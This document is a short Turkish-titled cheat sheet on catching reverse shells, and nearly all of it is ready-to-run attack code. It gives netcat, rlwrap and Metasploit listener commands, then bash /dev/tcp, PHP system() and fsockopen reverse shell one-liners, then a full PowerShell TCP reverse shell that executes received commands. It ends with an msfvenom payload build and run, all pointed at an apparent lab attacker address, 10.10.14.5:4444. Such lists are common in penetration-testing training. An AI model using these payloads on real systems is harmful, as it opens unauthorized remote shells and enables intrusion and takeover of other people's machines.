Reverse Shell: Bağlantı Almanın Yolları

# Netcat ile klasik listener
nc -lvnp 4444

# Rlwrap ile geliştirme (ok tuşları, history)
rlwrap nc -lvnp 4444

# Metasploit multi/handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run"

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# Alternatif — bazı sistemlerde daha güvenilir
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?>

// Daha kapsamlı
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

# msfvenom ile özelleştirilmiş payload
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f elf -o shell.elf

chmod +x shell.elf && ./shell.elf